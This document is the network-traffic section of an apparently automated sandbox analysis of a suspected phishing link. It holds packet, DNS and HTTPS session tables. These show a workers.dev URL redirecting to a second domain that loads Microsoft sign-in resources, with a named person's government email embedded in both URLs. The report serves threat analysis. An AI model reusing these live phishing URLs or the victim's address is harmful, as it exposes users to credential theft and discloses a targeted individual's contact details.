Nov 7, 2024 23:48:25.662798882 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.662885904 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.662966967 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.662974119 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.707551956 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.815058947 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.815495014 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.815531969 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.815668106 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.815777063 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.815823078 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.816694021 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.816729069 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.816813946 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.818182945 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.818196058 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.454194069 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.454720020 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.454735994 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.455743074 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.455857038 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.456335068 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.456392050 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.456693888 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.456701040 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.503910065 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.598613024 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:26.598647118 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:26.598793030 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:26.599096060 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:26.599107981 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:26.606631994 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.606939077 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:26.606981039 CET	443	50048	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:26.607110977 CET	50048	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:27.446192980 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:27.453017950 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:27.453038931 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:27.453372002 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:27.454070091 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:27.454130888 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:27.500046015 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:37.440861940 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:37.440926075 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:37.440979004 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:39.404421091 CET	50049	443	192.168.2.5	142.250.185.164
Nov 7, 2024 23:48:39.404448986 CET	443	50049	142.250.185.164	192.168.2.5
Nov 7, 2024 23:48:50.083524942 CET	49713	443	192.168.2.5	184.28.90.27
Nov 7, 2024 23:48:50.088898897 CET	443	49713	184.28.90.27	192.168.2.5
Nov 7, 2024 23:48:50.088969946 CET	49713	443	192.168.2.5	184.28.90.27
Nov 7, 2024 23:48:51.436611891 CET	49714	443	192.168.2.5	184.28.90.27
Nov 7, 2024 23:48:51.442140102 CET	443	49714	184.28.90.27	192.168.2.5
Nov 7, 2024 23:48:51.442213058 CET	49714	443	192.168.2.5	184.28.90.27

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 23:47:22.163238049 CET	65233	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:22.165559053 CET	56436	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:22.165816069 CET	53	60243	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:22.173470974 CET	53	63248	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:22.175730944 CET	53	65233	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:22.182703018 CET	53	56436	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:23.609711885 CET	53	53206	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:23.782450914 CET	58738	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:23.782582045 CET	63981	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:23.797739983 CET	53	58738	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:23.819681883 CET	53	63981	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:26.534421921 CET	53415	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:26.534569025 CET	64141	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:26.541080952 CET	53	53415	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:26.541376114 CET	53	64141	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:26.915838003 CET	57950	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:26.916198015 CET	59995	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:26.923604012 CET	53	59995	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:26.927382946 CET	53	57950	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:27.672472000 CET	50749	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:27.672693968 CET	60508	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:27.686428070 CET	53	60508	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:27.686587095 CET	53	50749	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.265438080 CET	51191	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.265876055 CET	49979	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.272540092 CET	53	51191	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.273025990 CET	53	49979	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.284291029 CET	60946	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.284430981 CET	49818	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.298325062 CET	53	60946	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.308192968 CET	53	49818	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.323450089 CET	57865	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.323862076 CET	59851	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:28.330108881 CET	53	57865	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.330949068 CET	53	59851	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:28.392657042 CET	53	62936	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:29.625648975 CET	58409	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:29.626100063 CET	59569	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:47:29.632272005 CET	53	58409	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:29.633440971 CET	53	59569	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:40.761003971 CET	53	62047	1.1.1.1	192.168.2.5
Nov 7, 2024 23:47:59.934400082 CET	53	52020	1.1.1.1	192.168.2.5
Nov 7, 2024 23:48:21.748042107 CET	53	50687	1.1.1.1	192.168.2.5
Nov 7, 2024 23:48:22.530870914 CET	53	53470	1.1.1.1	192.168.2.5
Nov 7, 2024 23:48:24.990113974 CET	57439	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:48:24.990389109 CET	57692	53	192.168.2.5	1.1.1.1
Nov 7, 2024 23:48:24.996825933 CET	53	57439	1.1.1.1	192.168.2.5
Nov 7, 2024 23:48:24.996951103 CET	53	57692	1.1.1.1	192.168.2.5
Nov 7, 2024 23:48:51.442027092 CET	53	51289	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 7, 2024 23:47:23.819746017 CET	192.168.2.5	1.1.1.1	c283	(Port unreachable)	Destination Unreachable
Nov 7, 2024 23:47:28.359731913 CET	192.168.2.5	1.1.1.1	c2df	(Port unreachable)	Destination Unreachable
Nov 7, 2024 23:47:29.279261112 CET	192.168.2.5	1.1.1.1	c2df	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 23:47:22.163238049 CET	192.168.2.5	1.1.1.1	0xb5f7	Standard query (0)	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:22.165559053 CET	192.168.2.5	1.1.1.1	0xa677	Standard query (0)	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev	65	IN (0x0001)	false
Nov 7, 2024 23:47:23.782450914 CET	192.168.2.5	1.1.1.1	0xd889	Standard query (0)	bhutto.systelligence.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:23.782582045 CET	192.168.2.5	1.1.1.1	0xf067	Standard query (0)	bhutto.systelligence.com	65	IN (0x0001)	false
Nov 7, 2024 23:47:26.534421921 CET	192.168.2.5	1.1.1.1	0x354a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.534569025 CET	192.168.2.5	1.1.1.1	0x78e9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 23:47:26.915838003 CET	192.168.2.5	1.1.1.1	0xa2ac	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.916198015 CET	192.168.2.5	1.1.1.1	0xe602	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Nov 7, 2024 23:47:27.672472000 CET	192.168.2.5	1.1.1.1	0x6170	Standard query (0)	bhutto.systelligence.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:27.672693968 CET	192.168.2.5	1.1.1.1	0xe170	Standard query (0)	bhutto.systelligence.com	65	IN (0x0001)	false
Nov 7, 2024 23:47:28.265438080 CET	192.168.2.5	1.1.1.1	0x49df	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.265876055 CET	192.168.2.5	1.1.1.1	0x2ebf	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Nov 7, 2024 23:47:28.284291029 CET	192.168.2.5	1.1.1.1	0x534	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.284430981 CET	192.168.2.5	1.1.1.1	0xa115	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Nov 7, 2024 23:47:28.323450089 CET	192.168.2.5	1.1.1.1	0xaabe	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.323862076 CET	192.168.2.5	1.1.1.1	0xf9bb	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 7, 2024 23:47:29.625648975 CET	192.168.2.5	1.1.1.1	0x18da	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:29.626100063 CET	192.168.2.5	1.1.1.1	0x252d	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 7, 2024 23:48:24.990113974 CET	192.168.2.5	1.1.1.1	0x4d1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:48:24.990389109 CET	192.168.2.5	1.1.1.1	0xd0fc	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 23:47:19.061068058 CET	1.1.1.1	192.168.2.5	0x1feb	No error (0)	windowsupdatebg.s.llnwi.net		87.248.205.0	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:22.175730944 CET	1.1.1.1	192.168.2.5	0xb5f7	No error (0)	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:22.175730944 CET	1.1.1.1	192.168.2.5	0xb5f7	No error (0)	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:22.182703018 CET	1.1.1.1	192.168.2.5	0xa677	No error (0)	ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev			65	IN (0x0001)	false
Nov 7, 2024 23:47:23.797739983 CET	1.1.1.1	192.168.2.5	0xd889	No error (0)	bhutto.systelligence.com		172.67.191.88	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:23.797739983 CET	1.1.1.1	192.168.2.5	0xd889	No error (0)	bhutto.systelligence.com		104.21.20.47	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:23.819681883 CET	1.1.1.1	192.168.2.5	0xf067	No error (0)	bhutto.systelligence.com			65	IN (0x0001)	false
Nov 7, 2024 23:47:26.541080952 CET	1.1.1.1	192.168.2.5	0x354a	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.541376114 CET	1.1.1.1	192.168.2.5	0x78e9	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 7, 2024 23:47:26.923604012 CET	1.1.1.1	192.168.2.5	0xe602	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:26.927382946 CET	1.1.1.1	192.168.2.5	0xa2ac	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:26.927382946 CET	1.1.1.1	192.168.2.5	0xa2ac	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.927382946 CET	1.1.1.1	192.168.2.5	0xa2ac	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.927382946 CET	1.1.1.1	192.168.2.5	0xa2ac	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:26.927382946 CET	1.1.1.1	192.168.2.5	0xa2ac	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:27.686428070 CET	1.1.1.1	192.168.2.5	0xe170	No error (0)	bhutto.systelligence.com			65	IN (0x0001)	false
Nov 7, 2024 23:47:27.686587095 CET	1.1.1.1	192.168.2.5	0x6170	No error (0)	bhutto.systelligence.com		172.67.191.88	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:27.686587095 CET	1.1.1.1	192.168.2.5	0x6170	No error (0)	bhutto.systelligence.com		104.21.20.47	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.272540092 CET	1.1.1.1	192.168.2.5	0x49df	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.272540092 CET	1.1.1.1	192.168.2.5	0x49df	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.5	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.272540092 CET	1.1.1.1	192.168.2.5	0x49df	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.78	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.272540092 CET	1.1.1.1	192.168.2.5	0x49df	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.89	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.272540092 CET	1.1.1.1	192.168.2.5	0x49df	No error (0)	d2vgu95hoyrpkh.cloudfront.net		18.245.31.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.273025990 CET	1.1.1.1	192.168.2.5	0x2ebf	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.298325062 CET	1.1.1.1	192.168.2.5	0x534	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.298325062 CET	1.1.1.1	192.168.2.5	0x534	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.308192968 CET	1.1.1.1	192.168.2.5	0xa115	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.328274012 CET	1.1.1.1	192.168.2.5	0x8aad	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.328274012 CET	1.1.1.1	192.168.2.5	0x8aad	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330108881 CET	1.1.1.1	192.168.2.5	0xaabe	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330108881 CET	1.1.1.1	192.168.2.5	0xaabe	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330108881 CET	1.1.1.1	192.168.2.5	0xaabe	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330303907 CET	1.1.1.1	192.168.2.5	0x9a0c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330303907 CET	1.1.1.1	192.168.2.5	0x9a0c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330949068 CET	1.1.1.1	192.168.2.5	0xf9bb	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:28.330949068 CET	1.1.1.1	192.168.2.5	0xf9bb	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.223634958 CET	1.1.1.1	192.168.2.5	0xa3c9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.223634958 CET	1.1.1.1	192.168.2.5	0xa3c9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:29.247580051 CET	1.1.1.1	192.168.2.5	0x299c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.247580051 CET	1.1.1.1	192.168.2.5	0x299c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:29.632272005 CET	1.1.1.1	192.168.2.5	0x18da	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.632272005 CET	1.1.1.1	192.168.2.5	0x18da	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.632272005 CET	1.1.1.1	192.168.2.5	0x18da	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 7, 2024 23:47:29.633440971 CET	1.1.1.1	192.168.2.5	0x252d	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:47:29.633440971 CET	1.1.1.1	192.168.2.5	0x252d	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 23:48:24.996825933 CET	1.1.1.1	192.168.2.5	0x4d1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev

slscr.update.microsoft.com

bhutto.systelligence.com

https:

www.bing.com

cdn.socket.io

aadcdn.msauth.net

logincdn.msauth.net

www.w3schools.com

aadcdn.msftauth.net

otelrules.azureedge.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49727	188.114.97.3	443	5704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:23 UTC	719	OUT	GET /?NHEDjoe.nguyen@leg.wa.gov HTTP/1.1 Host: ppoe383938373.94f753c2d1263a70cd44ea51.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 22:47:23 UTC	904	IN	HTTP/1.1 302 Found Date: Thu, 07 Nov 2024 22:47:23 GMT Content-Length: 0 Connection: close Location: https://bhutto.systelligence.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWRWb3dTV1k9JnVpZD1VU0VSMTgxMDIwMjRVMzkxMDE4NDY=N0123Njoe.nguyen%40leg.wa.gov Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KwdfzjzPVk%2FCacyVCPFZjBTW%2F8AUlAjP6cm4%2B%2FVUm3f91Z%2BLF61omqvxPThSFZDtgqMBLgP4GZ%2FpqWCwC1wAYp28%2FfZp%2F5j5DAXCWQEEFBuuTGRAsYecbw2lDIqk4KoCC0vq%2F0HQzaDPyuJwecEcoy7tM5naKyz2U8S1kNLht%2FW0oI2xRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df0dd650f6728d5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2289&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2899&recv_bytes=1297&delivery_rate=1955875&cwnd=252&unsent_bytes=0&cid=fae1aaf081335b65&ts=244&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:23 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-07 22:47:23 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 22:47:23 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 22:46:23 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 7a6979bf-ffb7-4161-b1f2-77d9ca2d1e21 PPServer: PPV: 30 H: BL02EPF0001D8D4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 22:47:23 GMT Connection: close Content-Length: 1276
2024-11-07 22:47:23 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49726	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
